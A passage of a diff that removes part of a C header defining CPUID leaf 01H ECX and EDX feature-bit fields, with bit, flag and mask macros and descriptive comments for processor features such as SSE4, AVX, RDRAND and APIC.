(((_) >> 5) & 0x01) - - /** - * @brief Safer Mode Extensions - * - * [Bit 6] A value of 1 indicates that the processor supports this technology. - * - * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] - */ - uint32_t safer_mode_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_BIT 6 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_FLAG 0x40 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS(_) (((_) >> 6) & 0x01) - - /** - * @brief Enhanced Intel SpeedStep(R) technology - * - * [Bit 7] A value of 1 indicates that the processor supports this technology. - */ - uint32_t enhanced_intel_speedstep_technology : 1; -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_BIT 7 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_FLAG 0x80 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY(_) (((_) >> 7) & 0x01) - - /** - * @brief Thermal Monitor 2 - * - * [Bit 8] A value of 1 indicates whether the processor supports this technology. - */ - uint32_t thermal_monitor_2 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_BIT 8 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_FLAG 0x100 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2(_) (((_) >> 8) & 0x01) - - /** - * @brief Supplemental Streaming SIMD Extensions 3 (SSSE3) - * - * [Bit 9] A value of 1 indicates the presence of the Supplemental Streaming SIMD Extensions 3 (SSSE3). A value of 0 - * indicates the instruction extensions are not present in the processor. - */ - uint32_t supplemental_streaming_simd_extensions_3 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_BIT 9 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x200 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 9) & 0x01) - - /** - * @brief L1 Context ID - * - * [Bit 10] A value of 1 indicates the L1 data cache mode can be set to either adaptive mode or shared mode. A value of 0 - * indicates this feature is not supported. See definition of the IA32_MISC_ENABLE MSR Bit 24 (L1 Data Cache Context Mode) - * for details. - */ - uint32_t l1_context_id : 1; -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_BIT 10 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_FLAG 0x400 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID(_) (((_) >> 10) & 0x01) - - /** - * @brief IA32_DEBUG_INTERFACE MSR for silicon debug - * - * [Bit 11] A value of 1 indicates the processor supports IA32_DEBUG_INTERFACE MSR for silicon debug. - */ - uint32_t silicon_debug : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_BIT 11 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_FLAG 0x800 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG(_) (((_) >> 11) & 0x01) - - /** - * @brief FMA extensions using YMM state - * - * [Bit 12] A value of 1 indicates the processor supports FMA (Fused Multiple Add) extensions using YMM state. - */ - uint32_t fma_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_BIT 12 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_FLAG 0x1000 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS(_) (((_) >> 12) & 0x01) - - /** - * @brief CMPXCHG16B instruction - * - * [Bit 13] A value of 1 indicates that the feature is available. - */ - uint32_t cmpxchg16b_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_BIT 13 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_FLAG 0x2000 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION(_) (((_) >> 13) & 0x01) - - /** - * @brief xTPR Update Control - * - * [Bit 14] A value of 1 indicates that the processor supports changing IA32_MISC_ENABLE[bit 23]. - */ - uint32_t xtpr_update_control : 1; -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_BIT 14 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_FLAG 0x4000 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL(_) (((_) >> 14) & 0x01) - - /** - * @brief Perfmon and Debug Capability - * - * [Bit 15] A value of 1 indicates the processor supports the performance and debug feature indication MSR - * IA32_PERF_CAPABILITIES. - */ - uint32_t perfmon_and_debug_capability : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_BIT 15 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_FLAG 0x8000 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY(_) (((_) >> 15) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief Process-context identifiers - * - * [Bit 17] A value of 1 indicates that the processor supports PCIDs and that software may set CR4.PCIDE to 1. - */ - uint32_t process_context_identifiers : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_BIT 17 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_FLAG 0x20000 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS(_) (((_) >> 17) & 0x01) - - /** - * @brief Direct Cache Access - * - * [Bit 18] A value of 1 indicates the processor supports the ability to prefetch data from a memory mapped device (Direct - * Cache Access). - */ - uint32_t direct_cache_access : 1; -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_BIT 18 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_FLAG 0x40000 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS(_) (((_) >> 18) & 0x01) - - /** - * @brief SSE4.1 support - * - * [Bit 19] A value of 1 indicates that the processor supports SSE4.1. - */ - uint32_t sse41_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_BIT 19 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_FLAG 0x80000 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT(_) (((_) >> 19) & 0x01) - - /** - * @brief SSE4.2 support - * - * [Bit 20] A value of 1 indicates that the processor supports SSE4.2. - */ - uint32_t sse42_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_BIT 20 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_FLAG 0x100000 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT(_) (((_) >> 20) & 0x01) - - /** - * @brief x2APIC support - * - * [Bit 21] A value of 1 indicates that the processor supports x2APIC feature. - */ - uint32_t x2apic_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_BIT 21 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_FLAG 0x200000 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT(_) (((_) >> 21) & 0x01) - - /** - * @brief MOVBE instruction - * - * [Bit 22] A value of 1 indicates that the processor supports MOVBE instruction. - */ - uint32_t movbe_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_BIT 22 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_FLAG 0x400000 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION(_) (((_) >> 22) & 0x01) - - /** - * @brief POPCNT instruction - * - * [Bit 23] A value of 1 indicates that the processor supports the POPCNT instruction. - */ - uint32_t popcnt_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_BIT 23 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_FLAG 0x800000 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION(_) (((_) >> 23) & 0x01) - - /** - * @brief TSC Deadline - * - * [Bit 24] A value of 1 indicates that the processor's local APIC timer supports one-shot operation using a TSC deadline - * value. - */ - uint32_t tsc_deadline : 1; -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_BIT 24 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_FLAG 0x1000000 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE(_) (((_) >> 24) & 0x01) - - /** - * @brief AESNI instruction extensions - * - * [Bit 25] A value of 1 indicates that the processor supports the AESNI instruction extensions. - */ - uint32_t aesni_instruction_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_BIT 25 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_FLAG 0x2000000 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS(_) (((_) >> 25) & 0x01) - - /** - * @brief XSAVE/XRSTOR instruction extensions - * - * [Bit 26] A value of 1 indicates that the processor supports the XSAVE/XRSTOR processor extended states feature, the - * XSETBV/XGETBV instructions, and XCR0. - */ - uint32_t xsave_xrstor_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_BIT 26 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_FLAG 0x4000000 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION(_) (((_) >> 26) & 0x01) - - /** - * @brief CR4.OSXSAVE[bit 18] set - * - * [Bit 27] A value of 1 indicates that the OS has set CR4.OSXSAVE[bit 18] to enable XSETBV/XGETBV instructions to access - * XCR0 and to support processor extended state management using XSAVE/XRSTOR. - */ - uint32_t osx_save : 1; -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_BIT 27 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_FLAG 0x8000000 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_OSX_SAVE(_) (((_) >> 27) & 0x01) - - /** - * @brief AVX instruction extensions support - * - * [Bit 28] A value of 1 indicates the processor supports the AVX instruction extensions. - */ - uint32_t avx_support : 1; -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_BIT 28 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_FLAG 0x10000000 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_AVX_SUPPORT(_) (((_) >> 28) & 0x01) - - /** - * @brief 16-bit floating-point conversion instructions support - * - * [Bit 29] A value of 1 indicates that processor supports 16-bit floating-point conversion instructions. - */ - uint32_t half_precision_conversion_instructions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_BIT 29 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_FLAG 0x20000000 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_HALF_PRECISION_CONVERSION_INSTRUCTIONS(_) (((_) >> 29) & 0x01) - - /** - * @brief RDRAND instruction support - * - * [Bit 30] A value of 1 indicates that processor supports RDRAND instruction. - */ - uint32_t rdrand_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_BIT 30 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_FLAG 0x40000000 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_RDRAND_INSTRUCTION(_) (((_) >> 30) & 0x01) - uint32_t reserved2 : 1; - }; - - uint32_t flags; - } cpuid_feature_information_ecx; - - /** - * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX - */ - union - { - struct - { - /** - * @brief Floating Point Unit On-Chip - * - * [Bit 0] The processor contains an x87 FPU. - */ - uint32_t floating_point_unit_on_chip : 1; -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_BIT 0 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_FLAG 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_FLOATING_POINT_UNIT_ON_CHIP(_) (((_) >> 0) & 0x01) - - /** - * @brief Virtual 8086 Mode Enhancements - * - * [Bit 1] Virtual 8086 mode enhancements, including CR4.VME for controlling the feature, CR4.PVI for protected mode - * virtual interrupts, software interrupt indirection, expansion of the TSS with the software indirection bitmap, and - * EFLAGS.VIF and EFLAGS.VIP flags. - */ - uint32_t virtual_8086_mode_enhancements : 1; -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_BIT 1 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_FLAG 0x02 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_VIRTUAL_8086_MODE_ENHANCEMENTS(_) (((_) >> 1) & 0x01) - - /** - * @brief Debugging Extensions - * - * [Bit 2] Support for I/O breakpoints, including CR4.DE for controlling the feature, and optional trapping of accesses to - * DR4 and DR5. - */ - uint32_t debugging_extensions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_BIT 2 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_FLAG 0x04 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUGGING_EXTENSIONS(_) (((_) >> 2) & 0x01) - - /** - * @brief Page Size Extension - * - * [Bit 3] Large pages of size 4 MByte are supported, including CR4.PSE for controlling the feature, the defined dirty bit - * in PDE (Page Directory Entries), optional reserved bit trapping in CR3, PDEs, and PTEs. - */ - uint32_t page_size_extension : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_BIT 3 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_FLAG 0x08 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION(_) (((_) >> 3) & 0x01) - - /** - * @brief Time Stamp Counter - * - * [Bit 4] The RDTSC instruction is supported, including CR4.TSD for controlling privilege. - */ - uint32_t timestamp_counter : 1; -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_BIT 4 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_FLAG 0x10 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_TIMESTAMP_COUNTER(_) (((_) >> 4) & 0x01) - - /** - * @brief Model Specific Registers RDMSR and WRMSR Instructions - * - * [Bit 5] The RDMSR and WRMSR instructions are supported. Some of the MSRs are implementation dependent. - */ - uint32_t rdmsr_wrmsr_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_BIT 5 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_FLAG 0x20 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_RDMSR_WRMSR_INSTRUCTIONS(_) (((_) >> 5) & 0x01) - - /** - * @brief Physical Address Extension - * - * [Bit 6] Physical addresses greater than 32 bits are supported: extended page table entry formats, an extra level in the - * page translation tables is defined, 2-MByte pages are supported instead of 4 Mbyte pages if PAE bit is 1. - */ - uint32_t physical_address_extension : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_BIT 6 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x40 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 6) & 0x01) - - /** - * @brief Machine Check Exception - * - * [Bit 7] Exception 18 is defined for Machine Checks, including CR4.MCE for controlling the feature. This feature does not - * define the model-specific implementations of machine-check error logging, reporting, and processor shutdowns. Machine - * Check exception handlers may have to depend on processor version to do model specific processing of the exception, or - * test for the presence of the Machine Check feature. - */ - uint32_t machine_check_exception : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_BIT 7 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_FLAG 0x80 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_EXCEPTION(_) (((_) >> 7) & 0x01) - - /** - * @brief CMPXCHG8B Instruction - * - * [Bit 8] The compare-and-exchange 8 bytes (64 bits) instruction is supported (implicitly locked and atomic). - */ - uint32_t cmpxchg8b : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_BIT 8 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_FLAG 0x100 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CMPXCHG8B(_) (((_) >> 8) & 0x01) - - /** - * @brief APIC On-Chip - * - * [Bit 9] The processor contains an Advanced Programmable Interrupt Controller (APIC), responding to memory mapped - * commands in the physical address range FFFE0000H to FFFE0FFFH (by default - some processors permit the APIC to be - * relocated). - */ - uint32_t apic_on_chip : 1; -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_BIT 9 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_FLAG 0x200 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_APIC_ON_CHIP(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 1; - - /** - * @brief SYSENTER and SYSEXIT Instructions - * - * [Bit 11] The SYSENTER and SYSEXIT and associated MSRs are supported. - */ - uint32_t sysenter_sysexit_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_BIT 11 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_FLAG 0x800 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_SYSENTER_SYSEXIT_INSTRUCTIONS(_) (((_) >> 11) & 0x01) - - /** - * @brief Memory Type Range Registers - * - * [Bit 12] MTRRs are supported. The MTRRcap MSR contains feature bits that describe what memory types are supported, how - * many variable MTRRs are supported, and whether fixed MTRRs are supported. - */ - uint32_t memory_type_range_registers : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_BIT 12 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_FLAG 0x1000 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MEMORY_TYPE_RANGE_REGISTERS(_) (((_) >> 12) & 0x01) - - /** - * @brief Page Global Bit - * - * [Bit 13] The global bit is supported in paging-structure entries that map a page, indicating TLB entries that are common - * to different processes and need not be flushed. The CR4.PGE bit controls this feature. - */ - uint32_t page_global_bit : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_BIT 13 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_FLAG 0x2000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_GLOBAL_BIT(_) (((_) >> 13) & 0x01) - - /** - * @brief Machine Check Architecture - * - * [Bit 14] A value of 1 indicates the Machine Check Architecture of reporting machine errors is supported. The MCG_CAP MSR - * contains feature bits describing how many banks of error reporting MSRs are supported. - */ - uint32_t machine_check_architecture : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_BIT 14 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_FLAG 0x4000 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MACHINE_CHECK_ARCHITECTURE(_) (((_) >> 14) & 0x01) - - /** - * @brief Conditional Move Instructions - * - * [Bit 15] The conditional move instruction CMOV is supported. In addition, if x87 FPU is present as indicated by the - * CPUID.FPU feature bit, then the FCOMI and FCMOV instructions are supported - */ - uint32_t conditional_move_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_BIT 15 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_FLAG 0x8000 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CONDITIONAL_MOVE_INSTRUCTIONS(_) (((_) >> 15) & 0x01) - - /** - * @brief Page Attribute Table - * - * [Bit 16] Page Attribute Table is supported. This feature augments the Memory Type Range Registers (MTRRs), allowing an - * operating system to specify attributes of memory accessed through a linear address on a 4KB granularity. - */ - uint32_t page_attribute_table : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_BIT 16 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_FLAG 0x10000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_ATTRIBUTE_TABLE(_) (((_) >> 16) & 0x01) - - /** - * @brief 36-Bit Page Size Extension - * - * [Bit 17] 4-MByte pages addressing physical memory beyond 4 GBytes are supported with 32-bit paging. This feature - * indicates that upper bits of the physical address of a 4-MByte page are encoded in bits 20:13 of the page-directory - * entry. Such physical addresses are limited by MAXPHYADDR and may be up to 40 bits in size. - */ - uint32_t page_size_extension_36bit : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_BIT 17 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_FLAG 0x20000 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PAGE_SIZE_EXTENSION_36BIT(_) (((_) >> 17) & 0x01) - - /** - * @brief Processor Serial Number - * - * [Bit 18] The processor supports the 96-bit processor identification number feature and the feature is enabled. - */ - uint32_t processor_serial_number : 1; -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_BIT 18 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_FLAG 0x40000 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_PROCESSOR_SERIAL_NUMBER(_) (((_) >> 18) & 0x01) - - /** - * @brief CLFLUSH Instruction - * - * [Bit 19] CLFLUSH Instruction is supported. - */ - uint32_t clflush : 1; -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_BIT 19 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_FLAG 0x80000 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_CLFLUSH(_) (((_) >> 19) & 0x01) - uint32_t reserved2 : 1; - - /** - * @brief Debug Store - * - * [Bit 21] The processor supports the ability to write debug information into a memory resident buffer. This feature is - * used by the branch trace store (BTS) and processor event-based sampling (PEBS) facilities. - * - * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] - */ - uint32_t debug_store : 1; -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_BIT 21 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_FLAG 0x200000 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_DEBUG_STORE(_) (((_) >> 21) & 0x01) - - /** - * @brief Thermal Monitor and Software Controlled Clock Facilities - * - * [Bit 22] The processor implements internal MSRs that allow processor temperature to be monitored and processor - * performance to be modulated in predefined duty cycles under software control. - */ - uint32_t thermal_control_msrs_for_acpi : 1; -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_BIT 22 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_FLAG 0x400000 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_THERMAL_CONTROL_MSRS_FOR_ACPI(_) (((_) >> 22) & 0x01) - - /** - * @brief Intel MMX Technology - * - * [Bit 23] The processor supports the Intel MMX technology. - */ - uint32_t mmx_support : 1; -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_BIT 23 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_FLAG 0x800000 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_EDX_MMX_SUPPORT(_) (((_) >> 23) & 0x01) - - /** - * @brief FXSAVE and FXRSTOR Instructions - * - * [Bit 24] The FXSAVE and FXRSTOR instructions are supported for fast save and restore of the floating point context. - * Presence of this bit also indicates that CR4.OSFXSR is available for an operating system to indicate that it supports - * the FXSAVE and FXRSTOR instructions. - */ - uint32_t fxsave_fxrstor_instructions : 1; -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_BIT 24 -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_FLAG 0x1000000 -#define CPUID_FEATURE_INFORMATION_EDX_FXSAVE_FXRSTOR_INSTRUCTIONS_MASK 0x01 -#define 